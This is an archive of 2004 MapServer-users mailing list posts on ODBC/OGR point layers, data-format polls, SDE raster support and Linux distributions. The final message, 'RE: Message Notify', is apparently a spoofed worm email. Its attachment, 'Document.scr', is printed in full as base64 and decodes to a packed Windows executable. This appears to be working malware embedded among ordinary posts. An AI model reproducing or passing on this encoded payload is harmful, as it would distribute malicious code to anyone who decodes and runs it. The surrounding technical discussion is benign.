"MyPoints" STATUS default CLASS SYMBOL 'circle' SIZE 25 COLOR 255 0 0 END END You can do this for any ODBC compliant db. Let me know if you need anything further. Regards, ============================================ Joost van Ulden Programmer/Analyst Natural Resources Canada / Ressources naturelles Canada Geological Survey of Canada / Commission geologique du Canada 101 - 605 Robson Street / 101 - 605 rue Robson Vancouver, B.C. / Vancouver (C.B.) V6B 5J3 Office/Bureau: 604.666.7525 fax/telecopieur: 604.666.1124 jvanulde at nrcan.gc.ca ============================================ -----Original Message----- From: David Fawcett [mailto:David.Fawcett at state.mn.us] Sent: Wednesday, May 12, 2004 7:14 AM To: samuzzal at linux.net; fx.prunayre at oieau.fr Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Generating dynamic point layer Has anyone successfully created point layers from Access .mdb files? David J. Fawcett MN Office of Environmental Assistance >>> Fran?ois-Xavier Prunayre 5/12/2004 4:47:23 AM >>> >>> > I have an access table with the georeferencing positions (X, Y). > Could anybody please help me by sending some code to generate a point > layer dynamically from these information. Thanks for previous helps I > got from the group. You could do that using OGR virtual layer; Wiki page is http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData. Set DSN in odbc connection; for exemple French, then Ovf file look like this : ODBC:French,STATIONS STATIONS wkbPoint where X_LAMBERT_II_ET is X coordinates and Y_LAMBERT_II_ET is Y. Map file layer tag is : LAYER NAME OVF TYPE POINT CONNECTIONTYPE OGR CONNECTION "french.ovf" DATA "STATIONS" # the name of the OGRVrtLayer STATUS DEFAULT PROJECTION "init=epsg:27582" END DUMP TRUE CLASS TEMPLATE "ttt_query.html" SYMBOL "circle" SIZE 6 NAME "STATION_FR" OUTLINECOLOR 239 16 16 END END You could also use Mapscript. HTH Francois ----- Original Message ----- From: "Sam Choudry" To: Sent: Wednesday, May 12, 2004 9:27 AM Subject: [Mapserver-users] Generating dynamic point layer > Hello group, > > > Samuzzal > > > > _____________________________________________________________ > Linux.Net -->Open Source to everyone > Powered by Linare Corporation > http://www.linare.com/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > -- > Ce message a ete verifie par MailScanner pour des virus ou des polluriels et rien de suspect n'a ete trouve. > > Les donnees et renseignements contenus dans ce message sont > personnels, confidentiels et prives. Toute publication, utilisation ou diffusion, meme partielle, doit etre autorisee. > > Any data and information contained in this electronic mail is > personal, confidential and secret. Any total or partial publication, use or distribution must be authorized. -- Ce message a ete verifie par MailScanner pour des virus ou des polluriels et rien de suspect n'a ete trouve. Les donnees et renseignements contenus dans ce message sont personnels, confidentiels et prives. Toute publication, utilisation ou diffusion, meme partielle, doit etre autorisee. Any data and information contained in this electronic mail is personal, confidential and secret. Any total or partial publication, use or distribution must be authorized. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From woodbri at swoodbridge.com Wed May 12 11:19:30 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Wed, 12 May 2004 14:19:30 -0400 Subject: [Mapserver-users] 5 second survey: data formats In-Reply-To: References: Message-ID: <40A26AB2.2080106@swoodbridge.com> Tyler, OK, good point, I was not thinking about it that way. I think that what is being used is selected based on a few criteria. If one is experimenting with mapserver then the criteria probably has to do with what format is the data one has access to in. And is it easier to use it in this format or to convert it to another format. If one is doing production servers, then the decision will be based on performance, functionality, capacity probably in that order. What is fastest? Given the functionality that is absolutely required (like dynamic data vs static data). And in some special cases disk capacity might be a driving consideration. Most people doing product servers are willing to transform their data to a format that is faster for drawing rather than convenient for setup. That is my two cents, everyone should feel free to rebut or add you own opinions :) -Steve Tyler Mitchell wrote: > Hmmm, you and Bob are both saying the same thing I think. > > >>This is a somewhat self selecting poll. The poll results should be >>exactly those file formats that mapserver BEST supports because that is >>what people will use to get the job done. > > > Let me put the question to you another way. How well used is ECW image > format versus GeoTiff? The point is, I don't know but would like to know > the relative proportion of users who depend on one or the other more. This > is helpful for those of us running workshops, etc. who may need to focus > in on specific formats that are of particular interest to the community > instead of assuming all are of equal importance. > > >>A better poll would be to ask something like. If all vector formats had >>the same level of support and performance in mapserver, what are the top > > >>two that you would use. An ditto for raster. > > > That makes sense, but it is a completely different answer I was looking > for. > > >>You have done a few polls, Can you summarize the results to the list. > > > Links to all the polls are available at: > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?SurveyResults > > I may summarize the results when I have some more time. I put the two one > or two results on the wiki already. > > Thanks for the feedback, > Tyler > From jcable at gi.alaska.edu Wed May 12 11:25:09 2004 From: jcable at gi.alaska.edu (Jay Cable) Date: Wed, 12 May 2004 10:25:09 -0800 (AKDT) Subject: [Mapserver-users] Sde raster support in maps In-Reply-To: <6.1.0.6.2.20040510145302.01d91600@hobu.mail.iastate.edu> References: <6.1.0.6.2.20040510145302.01d91600@hobu.mail.iastate.edu> Message-ID: On Mon, 10 May 2004, Howard Butler wrote: => SDE Raster support is still on the todo list. I doubt that anything will => get done in that area unless someone really wants it and does it themselves. I guess I could fall into that catagory. Would anyone else find sderaster support useful? Regards, -Jay Cable => => At 02:04 PM 5/10/2004, Jay Cable wrote: => >Hi, => > => >I am curious about the current state of sde raster support in mapserver. => >There are several posts in the mailing list archive suggesting that it is => >on a todo list, but nothing recent. Has there been any progress towards => >getting sde raster working? => > => >We have a growing stockpile of data in ArcSDE that we would like to serve => >up via mapserver. => > => >thanks in advance, => > -Jay Cable => > => > => > => >**************************************************************** => >Jay Cable GINA/ION => >tel (907) 474-1856 Geophysical Institute => >jcable at gi.alaska.edu University of Alaska => > P.O. Box 757320 => > Fairbanks, AK 99775-7320 => >***************************************************************** => >_______________________________________________ => >Mapserver-users mailing list => >Mapserver-users at lists.gis.umn.edu => >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users => => _______________________________________________ => Mapserver-users mailing list => Mapserver-users at lists.gis.umn.edu => http://lists.gis.umn.edu/mailman/listinfo/mapserver-users => **************************************************************** Jay Cable GINA/ION tel (907) 474-1856 Geophysical Institute jcable at gi.alaska.edu University of Alaska P.O. Box 757320 Fairbanks, AK 99775-7320 ***************************************************************** From mark at markrodrigo.com Tue May 11 21:22:48 2004 From: mark at markrodrigo.com (Mark Rodrigo) Date: Tue, 11 May 2004 21:22:48 -0700 Subject: [Mapserver-users] Suse 9.1 Linux a good Choice for Mapserver? Message-ID: Hello all: I have seen Tyler Mitchell's polls on the flavor of Linux people have been running, and it seems like Redhat has won out. I too have been working with a Redhat 9 implementation, but don't think I want to go to RH enterprise @ 350$/yr. I have been thinking about Debian, FreeBSD, but mostly SUSE 9.1 professional. Any strong feelings for/against SUSE 9.1 pro or maybe an earlier version? Only thing is I would also like to do Tomcat/Java 1.4 on that same OS, and be able to port to a dedicated server. Thanks Mark From hobu at iastate.edu Wed May 12 11:46:11 2004 From: hobu at iastate.edu (Howard Butler) Date: Wed, 12 May 2004 13:46:11 -0500 Subject: [Mapserver-users] Sde raster support in maps In-Reply-To: References: <6.1.0.6.2.20040510145302.01d91600@hobu.mail.iastate.edu> Message-ID: <6.1.0.6.2.20040512133603.01df3e68@hobu.mail.iastate.edu> I would find it very useful ;) At one time I expected that I would need to develop SDE raster support, but I've been able to get away with a solution that shoves a bunch of JPEG2000s into a database and selects them out based on an ID rather than by extent. However, I will probably have a need for it in the future and would be willing to collaborate on it. I think the most flexible approach would be to implement a driver for GDAL that supported SDE rasters. I haven't done that much investigation to know if that hunch is true or not. Steve and Frank might have some ideas about how to go about it as well. Howard At 01:25 PM 5/12/2004, Jay Cable wrote: >On Mon, 10 May 2004, Howard Butler wrote: >=> SDE Raster support is still on the todo list. I doubt that anything will >=> get done in that area unless someone really wants it and does it >themselves. > >I guess I could fall into that catagory. > >Would anyone else find sderaster support useful? > >Regards, > -Jay Cable From steve.lime at dnr.state.mn.us Wed May 12 13:12:27 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Wed, 12 May 2004 14:12:27 -0600 Subject: [Mapserver-users] RE: Message Notify Message-ID: ----------iiwxminihliqqsevaunr Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------iiwxminihliqqsevaunr Content-Type: application/octet-stream; name="Document.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Document.scr" 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 